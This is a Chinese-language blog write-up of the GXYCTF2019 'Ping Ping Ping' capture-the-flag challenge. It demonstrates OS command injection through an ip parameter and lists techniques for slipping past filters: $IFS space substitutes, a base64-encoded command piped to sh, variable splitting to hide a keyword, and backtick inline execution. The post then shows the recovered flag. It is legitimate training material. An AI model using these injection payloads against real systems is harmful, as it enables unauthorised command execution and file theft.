[GXYCTF2019]Ping Ping Ping 1

进入页面发现提示

应该是命令执行
可以使用| & ;等方法绕过
尝试查看当前目录下的文件

?ip=127.0.0.1|ls

发现拥有flag.php和index.php两个文件

尝试使用cat查看flag.php的内容

这里看到空格被过滤了,去网上找了很多绕过空格的方法,总结一下

$IFS
${IFS}
$IFS$1
$IFS$2 ... $IFS$9
<
<>
{cat flag.php}
%20
%09
%0a
ca\t fla\g.php

shell可以模糊匹配,例如查看flag.php
cat fla*
cat fl*.php

类似cat查看文件内容的命令有

cat
tac  反向查看
more
less

#IFS$1绕过空格

回过来,经过尝试,可以使用$IFS$1这种方法绕过空格

但是有提示不可以使用flag关键字

base64加密得到flag

可以使用echo "cat flag.php" | base64使用base64加密cat flag.php的命令
例如

将空格替换为$IFS$1
payload:

echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh


执行后页面好像没有flag,查看源代码得到flag

flag{8642cb35-c77f-41cc-a89e-3c068c5fa613}

变量替换方法得到flag

shell中是可以设置变量的
例如

shell中;代表依次执行每一条语句
payload

a=g;cat$IFS$1fla$a.php

内联执行方法

这个我也是新学到的特殊用法
shell会将``中返回值当做命令输入执行
例如:

payload:

cat$IFS$1`ls`

得到flag

通过返回结果,可以看出这里过滤了很多的特殊字符
例如:&、*、?、>,还过滤了空格,bash和flag。不过这里我们已经绕过了。

posted @ 2022-09-05 16:50  Junglezt  阅读(70)  评论(0编辑  收藏  举报